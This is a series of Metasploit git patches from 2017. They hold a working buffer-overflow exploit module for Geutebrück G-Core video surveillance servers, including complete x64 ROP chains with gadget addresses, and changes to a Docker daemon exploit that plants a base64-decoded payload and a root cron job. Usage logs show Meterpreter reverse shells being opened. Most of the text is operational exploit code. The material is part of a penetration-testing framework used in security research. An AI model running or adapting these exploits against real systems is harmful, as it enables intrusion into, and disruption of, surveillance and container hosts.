+        print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
+        print_status("Selected version: #{self.target.name}")
+        target_rop, target_overwrite, target_stack_align = ropchain(self.target)
+        begin
+          connect
+          print_status('Crafting Exploit...')
+
+          http_req = 'GET /'
+          buffer_200 = "\x41" * 200
+          rop = target_rop
+          payload.encoded
+          buffer_1823 = "\x41" * 1823
+          overwrite = target_overwrite
+          stack_align = target_stack_align
+
+          exploit = http_req + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
+          print_status('Exploit ready for sending...')
+          sock.put(exploit, 'Timeout' => 20)
+          print_status('Exploit sent!')
+          buf = sock.get_once || ''
+        rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
+          elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
+        ensure
+          print_status('Closing socket.')
+          disconnect
+        end
+
+      end
+    end
+  end

From 7fe750422edc9f17dfb2f90f0583a43bca8f238d Mon Sep 17 00:00:00 2001
From: M4P0 <github@noedsoschlimm.ch>
Date: Fri, 6 Oct 2017 15:41:12 +0200
Subject: [PATCH 019/254] Update geutebrueck_gcore_x64_rce_bo.md

---
 .../exploit/windows/http/geutebrueck_gcore_x64_rce_bo.md      | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/documentation/modules/exploit/windows/http/geutebrueck_gcore_x64_rce_bo.md b/documentation/modules/exploit/windows/http/geutebrueck_gcore_x64_rce_bo.md
index 4aff5e18fb..895d792d03 100644
--- a/documentation/modules/exploit/windows/http/geutebrueck_gcore_x64_rce_bo.md
+++ b/documentation/modules/exploit/windows/http/geutebrueck_gcore_x64_rce_bo.md
@@ -10,7 +10,7 @@
   4. Start msfconsole
   5. Do: ```use [exploit/windows/http/geutebrueck_gcore_x64_rce_bo]```
   6. Do: ```set rhost <your target ip>```
-  7. Do: ```set rport 13003``
+  7. Do: ```set rport 13003```
   8. Do: ```set payload windows/x64/meterpreter/reverse_tcp```
   9. Do: ```exploit```
   10. You should get a shell as NT/SYSTEM.
@@ -60,4 +60,4 @@ msf exploit(geutebrueck_gcore_x64_rce_bo) > exploit
     meterpreter >
 ```
 ## Mitigation
-Geutebrück released a new Version and an update for the affected version which should be installed to fix the described vulnerabilities.
+Geutebrück released a new version and an update for the affected product which should be installed to fix the described vulnerabilities.

From 8d50c34e4bc702ace1cfea77481ff62634868048 Mon Sep 17 00:00:00 2001
From: Maurice Popp <maurice.popp@infoguard.ch>
Date: Sat, 7 Oct 2017 14:06:58 +0200
Subject: [PATCH 020/254] codefixing

---
 .../http/geutebrueck_gcore_x64_rce_bo.rb      | 334 ++++++++----------
 1 file changed, 156 insertions(+), 178 deletions(-)

diff --git a/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb b/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
index 4fd1677713..3e621f2858 100644
--- a/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
+++ b/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
@@ -40,197 +40,205 @@ class MetasploitModule < Msf::Exploit::Remote
       'Privileged' => true,
       'DisclosureDate' => 'Jan 24 2017',
       'DefaultTarget' => 0))
-    end
 
-    def fingerprint
-      print_status('Trying to fingerprint server with http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml...')
-      @doc = Nokogiri::XML(open('http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml'))
-      statistics = @doc.css('modulestate')
-      statistics.each do |x|
-        if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
-          mytarget = targets[1]
-          print_status("Vulnerable version detected: #{mytarget.name}")
-          return Exploit::CheckCode::Appears, mytarget
-        elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
-          mytarget = targets[2]
-          print_status("Vulnerable version detected: #{mytarget.name}")
-          return Exploit::CheckCode::Appears, mytarget
+      register_options(
+        [
+          Opt::RPORT(13003)
+          ])
         end
-      end
-      print_status('Statistics Page under http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml is not available.')
-      print_status("Make sure that you know the exact version, otherwise you'll knock out the service.")
-      print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
-      print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
-      [Exploit::CheckCode::Unknown, nil]
-    end
 
-    def check
-      fingerprint
-    end
+        def fingerprint
+          print_status("Trying to fingerprint server with http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml...")
+          @doc = Nokogiri::XML(open("http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml"))
+          statistics = @doc.css('modulestate')
+          statistics.each do |x|
+            if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
+              mytarget = targets[1]
+              print_status("Vulnerable version detected: #{mytarget.name}")
+              return Exploit::CheckCode::Appears, mytarget
+            elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
+              mytarget = targets[2]
+              print_status("Vulnerable version detected: #{mytarget.name}")
+              return Exploit::CheckCode::Appears, mytarget
+            end
+          end
+          print_status("Statistics Page under http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml is not available.")
+          print_status('Make sure that you know the exact version, otherwise you\'ll knock out the service.')
+          print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
+          print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
+          [Exploit::CheckCode::Unknown, nil]
+        end
 
-    def ropchain(target)
-      if target.name.include? '1.3.8.42'
-        print_status('Preparing ROP chain for target 1.3.8.42!')
+        def check
+          fingerprint
+        end
 
-        # 0x140cd00a9 | add rsp, 0x10 ; ret
-        # This is needed because the next 16 bytes are sometimes messed up.
-        overwrite = [0x140cd00a9].pack('Q<')
+        def ropchain(target)
+          if target.name.include? '1.3.8.42'
+            print_status('Preparing ROP chain for target 1.3.8.42!')
 
-        # These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
-        stack_align = "\x43" * 16
+            # 0x140cd00a9 | add rsp, 0x10 ; ret
+            # This is needed because the next 16 bytes are sometimes messed up.
+            overwrite = [0x140cd00a9].pack('Q<')
 
-        # We have 40 bytes left to align our stack!
-        # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
-        # and to restore it.
-        # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
+            # These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
+            stack_align = "\x43" * 16
 
-        # 0x1404e5cbf: mov edx, esp ; ret
-        stack_align += [0x1404e5cbf].pack('Q<')
+            # We have 40 bytes left to align our stack!
+            # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
+            # and to restore it.
+            # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
 
-        # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
-        # We pop -XXXXX as \xxxxxxxxx to rax
-        # 0x14013db94  pop rax ; ret
-        stack_align += [0x14013db94].pack('Q<')
-        stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
+            # 0x1404e5cbf: mov edx, esp ; ret
+            stack_align += [0x1404e5cbf].pack('Q<')
 
-        # Our value is enough.
-        # 0x1407dc547  | add rax,rdx ; ret
-        stack_align += [0x1407dc547].pack('Q<')
+            # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
+            # We pop -XXXXX as \xxxxxxxxx to rax
+            # 0x14013db94  pop rax ; ret
+            stack_align += [0x14013db94].pack('Q<')
+            stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
 
-        # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
-        # 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
-        stack_align += [0x140ce9ac0].pack('Q<')
+            # Our value is enough.
+            # 0x1407dc547  | add rax,rdx ; ret
+            stack_align += [0x1407dc547].pack('Q<')
 
-        # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
-        # We want RCX to hold the value for VP Argument "Address of Shellcode"
-        # 0x140cc2234 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
-        rop = ''
-        rop += [0x140cc2234].pack('Q<')
-        rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
-        # 0x1400ae2ae    | POP RDX; RETN
-        # 0x...1000      | Value for VP "Size of Memory"
-        rop += [0x1400ae2ae].pack('Q<')
-        rop += [0x0000000000000400].pack('Q<')
+            # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
+            # 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
+            stack_align += [0x140ce9ac0].pack('Q<')
 
-        # 0x14029dc6e:   | POP R8; RET
-        # 0x...40        | Value for VP "Execute Permissions"
-        rop += [0x14029dc6e].pack('Q<')
-        rop += [0x0000000000000040].pack('Q<')
+            # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
+            # We want RCX to hold the value for VP Argument "Address of Shellcode"
+            # 0x140cc2234 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
+            rop = ''
+            rop += [0x140cc2234].pack('Q<')
+            rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
+            # 0x1400ae2ae    | POP RDX; RETN
+            # 0x...1000      | Value for VP "Size of Memory"
+            rop += [0x1400ae2ae].pack('Q<')
+            rop += [0x0000000000000400].pack('Q<')
 
-        # 0x1400aa030    | POP R9; RET
-        # 0x1409AE1A8 is the .data section of gcore
-        rop += [0x1400aa030].pack('Q<')
-        rop += [0x1409AE1A8].pack('Q<')
+            # 0x14029dc6e:   | POP R8; RET
+            # 0x...40        | Value for VP "Execute Permissions"
+            rop += [0x14029dc6e].pack('Q<')
+            rop += [0x0000000000000040].pack('Q<')
 
-        # 0x140b5927a: xor rax, rax ; ret
-        rop += [0x140b5927a].pack('Q<')
+            # 0x1400aa030    | POP R9; RET
+            # 0x1409AE1A8 is the .data section of gcore
+            rop += [0x1400aa030].pack('Q<')
+            rop += [0x1409AE1A8].pack('Q<')
 
-        # 0x1402ce220 pop rax ; ret
-        # 0x140d752b8 | VP Stub IAT Entry
-        rop += [0x1402ce220].pack('Q<')
-        rop += [0x140d752b8].pack('Q<')
+            # 0x140b5927a: xor rax, rax ; ret
+            rop += [0x140b5927a].pack('Q<')
 
-        # 0x1407c6b3b mov rax, qword [rax] ; ret  ;
-        rop += [0x1407c6b3b].pack('Q<')
+            # 0x1402ce220 pop rax ; ret
+            # 0x140d752b8 | VP Stub IAT Entry
+            rop += [0x1402ce220].pack('Q<')
+            rop += [0x140d752b8].pack('Q<')
 
-        # 0x140989c41 push rax; ret
-        rop += [0x140989c41].pack('Q<')
+            # 0x1407c6b3b mov rax, qword [rax] ; ret  ;
+            rop += [0x1407c6b3b].pack('Q<')
 
-        # 0x1406d684d jmp rsp
-        rop += [0x1406d684d].pack('Q<')
+            # 0x140989c41 push rax; ret
+            rop += [0x140989c41].pack('Q<')
 
-        [rop, overwrite, stack_align]
+            # 0x1406d684d jmp rsp
+            rop += [0x1406d684d].pack('Q<')
 
-      elsif target.name.include? '1.4.2.37'
-        print_status('Preparing ROP chain for target 1.4.2.37!')
+            [rop, overwrite, stack_align]
 
-        # 0x140cd9759 | add rsp, 0x10 ; ret
-        # This is needed because the next 16 bytes are sometimes messed up.
-        overwrite = [0x140cd9759].pack('Q<')
+          elsif target.name.include? '1.4.2.37'
+            print_status('Preparing ROP chain for target 1.4.2.37!')
 
-        # These bytes "\x43" are sacrificed ; we align the stack to jump over this.
-        stack_align = "\x43" * 16
+            # 0x140cd9759 | add rsp, 0x10 ; ret
+            # This is needed because the next 16 bytes are sometimes messed up.
+            overwrite = [0x140cd9759].pack('Q<')
 
-        # We have 40 bytes left to align our stack!
-        # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
-        # and to restore it.
-        # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
+            # These bytes "\x43" are sacrificed ; we align the stack to jump over this.
+            stack_align = "\x43" * 16
 
-        # 0x1404f213f: mov edx, esp ; ret
-        stack_align += [0x1404f213f].pack('Q<')
+            # We have 40 bytes left to align our stack!
+            # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
+            # and to restore it.
+            # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
 
-        # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
-        # We pop -XXXXX as \xxxxxxxxx to rax
-        # 0x14000efa8  pop rax ; ret
-        stack_align += [0x14000efa8].pack('Q<')
-        stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
+            # 0x1404f213f: mov edx, esp ; ret
+            stack_align += [0x1404f213f].pack('Q<')
 
-        # Our value is enough.
-        # 0x140cdfe65  | add rax,rdx ; ret
-        stack_align += [0x140cdfe65].pack('Q<')
+            # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
+            # We pop -XXXXX as \xxxxxxxxx to rax
+            # 0x14000efa8  pop rax ; ret
+            stack_align += [0x14000efa8].pack('Q<')
+            stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
 
-        # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
-        # 0x140cf3110 | mov rsp, rax ; ..... ; ret
-        stack_align += [0x140cf3110].pack('Q<')
+            # Our value is enough.
+            # 0x140cdfe65  | add rax,rdx ; ret
+            stack_align += [0x140cdfe65].pack('Q<')
 
-        # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
-        # We want RCX to hold the value for VP Argument "Address of Shellcode"
-        # 0x140ccb984 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
-        rop = ''
-        rop += [0x140ccb984].pack('Q<')
-        rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
-        # 0x14008f7ec      | POP RDX; RETN
-        # 0x...1000        | Value for VP "Size of Memory"
-        rop += [0x14008f7ec].pack('Q<')
-        rop += [0x0000000000000400].pack('Q<')
+            # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
+            # 0x140cf3110 | mov rsp, rax ; ..... ; ret
+            stack_align += [0x140cf3110].pack('Q<')
 
-        # 0x140a88f81:   | POP R8; RET
-        # 0x...40        | Value for VP "Execute Permissions"
-        rop += [0x140a88f81].pack('Q<')
-        rop += [0x0000000000000040].pack('Q<')
+            # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
+            # We want RCX to hold the value for VP Argument "Address of Shellcode"
+            # 0x140ccb984 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
+            rop = ''
+            rop += [0x140ccb984].pack('Q<')
+            rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
+            # 0x14008f7ec      | POP RDX; RETN
+            # 0x...1000        | Value for VP "Size of Memory"
+            rop += [0x14008f7ec].pack('Q<')
+            rop += [0x0000000000000400].pack('Q<')
 
-        # 0x1400aa030    | POP R9; RET
-        # 0x...          | Value for VP "Writeable location". Not sure if needed?
-        # 0x140FB5000 is the .data section of gcore; let's test with this writable section...
-        rop += [0x1400aa030].pack('Q<')
-        rop += [0x140FB5000].pack('Q<')
+            # 0x140a88f81:   | POP R8; RET
+            # 0x...40        | Value for VP "Execute Permissions"
+            rop += [0x140a88f81].pack('Q<')
+            rop += [0x0000000000000040].pack('Q<')
 
-        # 0x140ccea2f: xor rax, rax ; et
-        rop += [0x140ccea2f].pack('Q<')
+            # 0x1400aa030    | POP R9; RET
+            # 0x...          | Value for VP "Writeable location". Not sure if needed?
+            # 0x140FB5000 is the .data section of gcore; let's test with this writable section...
+            rop += [0x1400aa030].pack('Q<')
+            rop += [0x140FB5000].pack('Q<')
 
-        # 0x14000efa8 pop rax ; ret
-        # 0x140d83268 | VP Stub IAT Entry
-        rop += [0x14000efa8].pack('Q<')
-        rop += [0x140d83268].pack('Q<')
+            # 0x140ccea2f: xor rax, rax ; et
+            rop += [0x140ccea2f].pack('Q<')
 
-        # 0x14095b254 mov rax, qword [rax] ; ret  ;
-        rop += [0x14095b254].pack('Q<')
+            # 0x14000efa8 pop rax ; ret
+            # 0x140d83268 | VP Stub IAT Entry
+            rop += [0x14000efa8].pack('Q<')
+            rop += [0x140d83268].pack('Q<')
 
-        # 0x140166c46 push rax; ret
-        rop += [0x140166c46].pack('Q<')
+            # 0x14095b254 mov rax, qword [rax] ; ret  ;
+            rop += [0x14095b254].pack('Q<')
 
-        # 0x140cfb98d jmp rsp
-        rop += [0x140cfb98d].pack('Q<')
+            # 0x140166c46 push rax; ret
+            rop += [0x140166c46].pack('Q<')
 
-        [rop, overwrite, stack_align]
+            # 0x140cfb98d jmp rsp
+            rop += [0x140cfb98d].pack('Q<')
 
-      else
-        print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')
+            [rop, overwrite, stack_align]
 
-      end
-    end
+          else
+            print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')
+
+          end
+        end
+
+        def exploit
+          if target['auto']
+            checkcode, self.target = fingerprint
+            fail_with(Failure::NotVulnerable, 'No vulnerable Version detected - exploit aborted.') if checkcode.to_s.include? 'unknown'
+            target_rop, target_overwrite, target_stack_align = ropchain(target)
+          else
+            print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
+            print_status("Selected version: #{self.target.name}")
+            target_rop, target_overwrite, target_stack_align = ropchain(self.target)
+          end
 
-    def exploit
-      if target['auto']
-        checkcode, target = fingerprint
-        if checkcode.to_s.include? 'unknown'
-          print_status('No vulnerable Version detected - exploit aborted.')
-        else
-          target_rop, target_overwrite, target_stack_align = ropchain(target)
           begin
             connect
             print_status('Crafting Exploit...')
-
             http_req = 'GET /'
             buffer_200 = "\x41" * 200
             rop = target_rop
@@ -251,35 +259,5 @@ class MetasploitModule < Msf::Exploit::Remote
             disconnect
           end
         end
-
-      else
-        print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
-        print_status("Selected version: #{self.target.name}")
-        target_rop, target_overwrite, target_stack_align = ropchain(self.target)
-        begin
-          connect
-          print_status('Crafting Exploit...')
-
-          http_req = 'GET /'
-          buffer_200 = "\x41" * 200
-          rop = target_rop
-          payload.encoded
-          buffer_1823 = "\x41" * 1823
-          overwrite = target_overwrite
-          stack_align = target_stack_align
-
-          exploit = http_req + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
-          print_status('Exploit ready for sending...')
-          sock.put(exploit, 'Timeout' => 20)
-          print_status('Exploit sent!')
-          buf = sock.get_once || ''
-        rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
-          elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
-        ensure
-          print_status('Closing socket.')
-          disconnect
-        end
-
       end
     end
-  end

From b7184e87c075e29c3012a5c21119c8c58d5fad72 Mon Sep 17 00:00:00 2001
From: Maurice Popp <maurice.popp@infoguard.ch>
Date: Sat, 7 Oct 2017 14:16:01 +0200
Subject: [PATCH 021/254] fixing a type

---
 modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb | 1 -
 1 file changed, 1 deletion(-)

diff --git a/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb b/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
index 3e621f2858..e93adff0a2 100644
--- a/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
+++ b/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
@@ -260,4 +260,3 @@ class MetasploitModule < Msf::Exploit::Remote
           end
         end
       end
-    end

From d8ff99b1f65e60c806f31a9ce6af01049a000f04 Mon Sep 17 00:00:00 2001
From: Martin Pizala <m.pizala@pizala.de>
Date: Sun, 8 Oct 2017 13:51:07 +0200
Subject: [PATCH 022/254] Change to ARCH_X64, remove python dependency

---
 .../exploit/linux/http/docker_daemon_tcp.md   | 15 +++++-----
 .../exploits/linux/http/docker_daemon_tcp.rb  | 30 +++++++------------
 2 files changed, 17 insertions(+), 28 deletions(-)

diff --git a/documentation/modules/exploit/linux/http/docker_daemon_tcp.md b/documentation/modules/exploit/linux/http/docker_daemon_tcp.md
index 4c32e54a03..a76ab1ea28 100644
--- a/documentation/modules/exploit/linux/http/docker_daemon_tcp.md
+++ b/documentation/modules/exploit/linux/http/docker_daemon_tcp.md
@@ -88,8 +88,8 @@ to gain root access to the hosting server of the Docker container.
 msf > use exploit/linux/http/docker_daemon_tcp
 msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
 RHOST => 192.168.66.23
-msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp
-PAYLOAD => python/meterpreter/reverse_tcp
+msf exploit(docker_daemon_tcp) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
+PAYLOAD => linux/x64/meterpreter/reverse_tcp
 msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
 LHOST => 192.168.66.10
 msf exploit(docker_daemon_tcp) > set VERBOSE true
@@ -108,18 +108,17 @@ msf exploit(docker_daemon_tcp) > run
 [*] Waiting for the cron job to run, can take up to 60 seconds
 [*] Waiting until the docker container stopped
 [*] The docker container has been stopped, now trying to remove it
-[*] Sending stage (40411 bytes) to 192.168.66.23
+[*] Sending stage (2878936 bytes) to 192.168.66.23
 [*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
 [+] Deleted /etc/cron.d/lVoepNpy
 [+] Deleted /tmp/poasDIuZ
 
 
 meterpreter > sysinfo
-Computer        : debian
-OS              : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
-Architecture    : x64
-System Language : en_US
-Meterpreter     : python/linux
+Computer     : rancher
+OS           : Debian 9.1 (Linux 4.9.0-3-amd64)
+Architecture : x64
+Meterpreter  : x64/linux
 meterpreter >
 ```
 
diff --git a/modules/exploits/linux/http/docker_daemon_tcp.rb b/modules/exploits/linux/http/docker_daemon_tcp.rb
index c733b2440c..069014ccdd 100644
--- a/modules/exploits/linux/http/docker_daemon_tcp.rb
+++ b/modules/exploits/linux/http/docker_daemon_tcp.rb
@@ -32,24 +32,17 @@ class MetasploitModule < Msf::Exploit::Remote
         ['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket']
       ],
       'DisclosureDate'   => 'Jul 25, 2017',
-      'Targets'          => [
-        [ 'Python', {
-          'Platform'     => 'python',
-          'Arch'         => ARCH_PYTHON,
-          'Payload'      => {
-            'Compat'     => {
-              'ConnectionType' => 'reverse noconn none tunnel'
-            }
-          }
-        }]
-      ],
-      'DefaultOptions'   => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' },
+      'Platform'         => 'Linux',
+      'Arch'             => [ARCH_X64],
+      'Payload'          => { 'Space' => 65000 },
+      'Targets'          => [[ 'Linux', {} ]],
+      'DefaultOptions'   => { 'WfsDelay' => 180 },
       'DefaultTarget'    => 0))
 
     register_options(
       [
         Opt::RPORT(2375),
-        OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
+        OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
         OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
       ]
     )
@@ -88,13 +81,10 @@ class MetasploitModule < Msf::Exploit::Remote
     echo_cron_path = mnt_path + cron_path
     echo_payload_path = mnt_path + payload_path
 
-    cron_command = "python #{payload_path}"
-    payload_data = payload.raw
-
-    command = "echo \"#{payload_data}\" >> #{echo_payload_path} && "
-    command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && "
-    command << "echo \"\" >> #{echo_cron_path} && "
-    command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
+    command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
+    command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
+    command << "echo \"\" >> #{echo_cron_path} \&\& "
+    command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}"
 
     command
   end

From 33ec3c3d690212494635b961889ea8a2e6711539 Mon Sep 17 00:00:00 2001
From: Martin Pizala <m.pizala@pizala.de>
Date: Sun, 8 Oct 2017 13:51:16 +0200
Subject: [PATCH 023/254] Error handling and style

---
 modules/exploits/linux/http/docker_daemon_tcp.rb | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/modules/exploits/linux/http/docker_daemon_tcp.rb b/modules/exploits/linux/http/docker_daemon_tcp.rb
index 069014ccdd..a9947c2811 100644
--- a/modules/exploits/linux/http/docker_daemon_tcp.rb
+++ b/modules/exploits/linux/http/docker_daemon_tcp.rb
@@ -54,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'method'  => 'GET',
       'uri'     => normalize_uri('images', 'json')
     )
-    return unless res and res.code == 200 and res.body.include? image_id
+    return unless res && res.code == 200 && res.body.include?(image_id)
 
     res
   end
@@ -65,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'method'  => 'POST',
       'uri'     => normalize_uri('images', 'create?fromImage=' + image_id)
     )
-    return unless res.code == 200
+    return unless res && res.code == 200
 
     res
   end
@@ -125,7 +125,7 @@ class MetasploitModule < Msf::Exploit::Remote
       return Exploit::CheckCode::Unknown
     end
 
-    if res and res.code == 200 and res.headers['Server'].include? 'Docker'
+    if res && res.code == 200 && res.headers['Server'].include?('Docker')
       return Exploit::CheckCode::Vulnerable
     end
 
@@ -181,7 +181,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     # delete container
     deleted_container = false
-    if res_wait.code == 200
+    if res_wait && res_wait.code == 200
       vprint_status("The docker container has been stopped, now trying to remove it")
       del_container(container_id)
       deleted_container = true

From 3f6f70f8208390acbf6f14531ed73bc7f25db9ce Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Sun, 8 Oct 2017 13:58:51 -0400
Subject: [PATCH 024/254] Move the cve-2017-8464 source to external/source

---
 data/exploits/cve-2017-8464/src/build.sh        | 17 -----------------
 external/source/exploits/cve-2017-8464/build.sh | 17 +++++++++++++++++
 .../source/exploits/cve-2017-8464}/template.c   |  0
 .../source/exploits/cve-2017-8464}/template.def |  0
 .../source/exploits/cve-2017-8464}/template.h   |  0
 .../source/exploits/cve-2017-8464}/template.rc  |  0
 6 files changed, 17 insertions(+), 17 deletions(-)
 delete mode 100755 data/exploits/cve-2017-8464/src/build.sh
 create mode 100755 external/source/exploits/cve-2017-8464/build.sh
 rename {data/exploits/cve-2017-8464/src => external/source/exploits/cve-2017-8464}/template.c (100%)
 rename {data/exploits/cve-2017-8464/src => external/source/exploits/cve-2017-8464}/template.def (100%)
 rename {data/exploits/cve-2017-8464/src => external/source/exploits/cve-2017-8464}/template.h (100%)
 rename {data/exploits/cve-2017-8464/src => external/source/exploits/cve-2017-8464}/template.rc (100%)

diff --git a/data/exploits/cve-2017-8464/src/build.sh b/data/exploits/cve-2017-8464/src/build.sh
deleted file mode 100755
index 202daa5413..0000000000
--- a/data/exploits/cve-2017-8464/src/build.sh
+++ /dev/null
@@ -1,17 +0,0 @@
-#!/bin/sh
-rm -f *.o *.dll
-
-CCx86="i686-w64-mingw32"
-CCx64="x86_64-w64-mingw32"
-
-${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
-${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
-${CCx64}-strip -s temp.dll -o ../template_x64_windows.dll
-rm -f temp.dll *.o
-chmod -x ../template_x64_windows.dll
-
-${CCx86}-gcc -c -Os template.c -Wall -shared
-${CCx86}-dllwrap --def template.def *.o -o temp.dll
-${CCx86}-strip -s temp.dll -o ../template_x86_windows.dll
-rm -f temp.dll *.o
-chmod -x ../template_x86_windows.dll
diff --git a/external/source/exploits/cve-2017-8464/build.sh b/external/source/exploits/cve-2017-8464/build.sh
new file mode 100755
index 0000000000..c5eb5e5211
--- /dev/null
+++ b/external/source/exploits/cve-2017-8464/build.sh
@@ -0,0 +1,17 @@
+#!/bin/sh
+rm -f *.o *.dll
+
+CCx86="i686-w64-mingw32"
+CCx64="x86_64-w64-mingw32"
+
+${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
+${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
+${CCx64}-strip -s temp.dll -o ../../../../data/exploits/cve-2017-8464/template_x64_windows.dll
+rm -f temp.dll *.o
+chmod -x ../../../../data/exploits/cve-2017-8464/template_x64_windows.dll
+
+${CCx86}-gcc -c -Os template.c -Wall -shared
